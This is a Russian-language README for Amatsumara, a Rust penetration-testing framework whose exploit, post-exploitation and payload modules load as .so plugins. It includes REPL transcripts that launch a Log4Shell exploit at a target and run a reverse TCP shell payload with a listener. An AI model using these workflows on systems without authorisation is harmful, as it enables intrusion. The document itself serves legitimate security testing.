Фреймворк для пентестинга на Rust с динамической загрузкой модулей через C FFI. Модули — нативные `.so`-библиотеки: добавить новую возможность = скопировать файл в директорию модулей. Содержит 8 exploit-модулей, 5 auxiliary, 3 post-exploitation, 2 генератора пейлоадов. AutoLHOST — автодетект VPN-интерфейса (tun0/tap0). Session management — открыть/закрыть/взаимодействовать с несколькими целями одновременно. Поиск по CVE: `search cve:CVE-2024-XXXX`. Async runtime на Tokio, Tab-completion в REPL. От того же автора, что и Tsukuyomi (lorsupra).
# Требования: Rust 1.70+, Linux x86_64 git clone https://codeberg.org/lorsupra/Amatsumara.git cd Amatsumara cargo build --release # Запуск консоли ./target/release/amatsumara-console # Основные команды REPL: # search <term> -- поиск модулей (по имени, типу, CVE) # search cve:CVE-2024-45337 -- поиск по CVE # use exploit/module-slug -- загрузить модуль # set LHOST 192.168.1.100 -- установить опцию (auto-detect tun0/tap0) # set LPORT 4444 # run -- выполнить # run -j -- в фоне (background job) # sessions -- список сессий # sessions -i 1 -- interact с сессией #1 # Экспорт каталога модулей (JSON) ./target/release/amatsumara-console --list-modules --json | jq '.[].slug'

Фреймворк для тестирования на проникновение, созданный на Rust
Модули компилируются как нативные разделяемые библиотеки и динамически загружаются во время выполнения.
Amatsumara — это фреймворк для тестирования на проникновение, созданный с приоритетом на производительность и безопасность. Модули — это разделяемые библиотеки .so, загружаемые через C FFI. Чтобы добавить новые возможности, просто поместите файл .so в каталог модулей.
| Количество | |
|---|---|
| Модули эксплойтов | 8 |
| Вспомогательные модули | 5 |
| Утилитарные модули | 1 |
| Модули пост-эксплуатации | 3 |
| Генераторы полезных нагрузок | 2 |
Документация по модулям — подробные опции, примеры использования, предупреждения и ссылки для каждого эксплойта и вспомогательного модуля.
.so загружаются во время выполнения, без перекомпиляции фреймворкаsession_exec()-jsetg LHOST одна раз, действует вездеsearch нумеруются для быстрого выбора с помощью use 0Amatsumara автоматически определяет ваш активный VPN-интерфейс (tun0/tap0) и заполняет LHOST при загрузке модуля. Больше не нужно запускать ip a перед каждым эксплойтом. Чтобы отключить: set autolhost false
Требования: Rust 1.70+, Linux x86_64
git clone https://codeberg.org/lorsupra/Amatsumara.git
cd Amatsumara
cargo build --release
./target/release/amatsumara-console
Для внешних инструментов, которым нужен машиночитаемый инвентарь загруженных модулей, консоль предоставляет неинтерактивный путь перечисления, полностью обходя REPL:
amatsumara-console --list-modules # human-readable table
amatsumara-console --list-modules --json # JSON to stdout
JSON-формат представляет собой верхнеуровневый массив (удобен для конвейерной обработки с jq). Каждая запись содержит слаг модуля, тип, описание, автора, платформы, архитектуры, рейтинг, флаг привилегий, структурированный массив cves и полную таблицу опций. CVE-связи являются первичными метаданными на поверхности FFI начиная с API v3 (см. раздел «Архитектура» ниже), поэтому это поддерживаемый контракт для любого внешнего инструмента, которому нужно сопоставлять CVE со слагами модулей Amatsumara. Массивы cves, генерируемые этим выводом, содержат те же идентификаторы, что и команда search cve:<id> в консоли.
| Команда | Описание |
|---|---|
search <термин> |
Поиск модулей по имени/описанию. Результаты нумеруются. |
search cve:<id> |
Поиск модулей по CVE (например, cve:CVE-2021-44228, cve:2022-22965). |
use <имя\|номер> |
Выбор модуля по имени или номеру из результатов поиска. |
info [имя\|номер] |
Показать детали модуля. Без аргумента — текущий модуль. |
back |
Отменить выбор текущего модуля. |
| Команда | Описание |
|---|---|
set <ОПЦИЯ> <значение> / forge <ОПЦИЯ> <значение> |
Установить опцию модуля. |
unset <ОПЦИЯ> |
Сбросить опцию модуля. |
setg <ОПЦИЯ> <значение> |
Установить глобальную опцию (сохраняется между модулями). |
unsetg <ОПЦИЯ> |
Сбросить глобальную опцию. |
set autolhost <true\|false> |
Переключить автоматическое определение LHOST. |
options |
Показать текущие опции модуля. |
Опции модуля (
set) переопределяют глобальные (setg), которые, в свою очередь, переопределяют значения по умолчанию.
| Команда | Описание |
|---|---|
run / strike |
Выполнить выбранный модуль. |
run -j |
Выполнить как фоновую задачу. |
check |
Запустить проверку уязвимости (если модуль поддерживает). |
| Команда | Описание |
|---|---|
sessions -l |
Вывести список активных сессий. |
sessions -i <id> |
Взаимодействовать с сессией. |
sessions -k <id\|all> |
Завершить сессию(ии). |
jobs |
Вывести список фоновых задач. |
jobs -i <id> |
Перевести фоновую задачу на передний план (блокируется до её завершения). |
jobs -k <id> |
Завершить фоновую задачу. |
kill <id> |
Завершить фоновую задачу. |
Внутри сессии: background — вернуться в консоль, exit — закрыть.
| Команда | Описание |
|---|---|
show exploits\|auxiliary\|payloads\|post\|all |
Вывести загруженные модули по типу. |
help / ? |
Показать справку. |
banner |
Повторно вывести стартовый баннер. |
exit / quit |
Выйти из фреймворка. |
amatsumara > search log4j
# Name Description
- ---- -----------
0 Apache Log4j RCE Log4Shell JNDI injection (CVE-2021-44228)
amatsumara > use 0
[*] AutoLHOST: LHOST set to 10.10.14.5 (tun0)
amatsumara Apache Log4j RCE (exploit) > forge RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
amatsumara Apache Log4j RCE (exploit) > strike
[*] Launching module: Apache Log4j RCE
amatsumara > setg LHOST 10.0.0.5
amatsumara > setg LPORT 4444
amatsumara > use Multi Handler
amatsumara Multi Handler (utility) > run -j
[*] Job 1 started in background
amatsumara > jobs
Id Name Running
-- ---- -------
1 Multi Handler 12s
amatsumara > use Linux x64 Reverse TCP Shell
amatsumara Linux x64 Reverse TCP Shell (payload) > forge LHOST 10.0.0.5
amatsumara Linux x64 Reverse TCP Shell (payload) > forge LPORT 9001
amatsumara Linux x64 Reverse TCP Shell (payload) > strike
[*] Connecting to 10.0.0.5:9001
Amatsumara/
+-- amatsumara-api/ # C FFI types (ModuleVTable, ModuleInfo, etc.)
+-- amatsumara-core/ # Module loader, session manager, discovery
+-- amatsumara-console/ # Interactive REPL, tab completion
+-- kanayago/ # Payload generation engine
+-- modules/
| +-- exploits/ # Exploit modules (.so + source)
| +-- auxiliary/scanner/ # Scanner modules
| +-- auxiliary/ # Standalone auxiliary modules
| +-- utilities/ # Utility modules (handlers, etc.)
| +-- post/ # Post-exploitation modules
| +-- payloads/singles/ # Payload generators
+-- pattern-create/ # Buffer overflow pattern generator
+-- pattern-offset/ # Pattern offset finder
modules/ на наличие файлов .soamatsumara_module_init() для получения VTable.so в modules/ и перезапустите — он будет обнаружен автоматическиМодули сообщают свою MODULE_API_VERSION, и загрузчик в зависимости от этого определяет, какие поля он читает. Текущий контракт:
SessionApi, register_post_module!).cves в ModuleMetadata.Загрузчик по-прежнему загружает модули v2, но выводит одноразовое предупреждение и создаёт пустой Vec для cves для нижестоящих потребителей. Сам фреймворк поставляется со всеми встроенными модулями, собранными против v3.
Модули эксплойтов открывают TCP-соединения и записывают метаданные сессии в /tmp/amatsumara_sessions/. Консоль берёт на себя управление потоком. Сессии сохраняются независимо — можно уйти в фон, позже взаимодействовать или завершить.
Модули пост-эксплуатации работают через эти сессии с помощью API взаимодействия с сессиями. Фреймворк внедряет указатели на функции C в модуль перед вызовом run(), что позволяет ему вызывать session_exec() для выполнения команд на удалённой цели и чтения вывода обратно. Пост-модули объявляют опцию SESSION для указания используемой сессии. Подробности об архитектуре трамплина и макросе register_post_module! см. в Документации по модулям.
Каждый модуль — это отдельный crate cdylib на Rust, экспортирующий amatsumara_module_init() -> *const ModuleVTable.
mkdir -p modules/exploits/my_exploit/src
Cargo.toml:
[package]
name = "my_exploit"
version = "0.1.0"
edition = "2021"
[lib]
crate-type = ["cdylib"]
[dependencies]
amatsumara-api = { path = "../../../amatsumara-api" }
serde = { version = "1.0", features = ["derive"] }
serde_json = "1.0"
src/lib.rs — паттерн можно увидеть в любом существующем модуле. Ключевые моменты:
amatsumara_api::CString (repr(C)), а не std::ffi::CStringCString, указывающими на .as_ptr()*const c_char, парсятся с помощью serde_json0 для успеха, ненулевое значение для сбояСборка и развёртывание:
cd modules/exploits/my_exploit
cargo build --release
cp target/release/libmy_exploit.so .
rm -rf target/
# Generate cyclic pattern for buffer overflow dev
./target/release/pattern-create -l 500
# Find offset of a pattern value
./target/release/pattern-offset -q 41386141
Области интереса:
BSD-3-Clause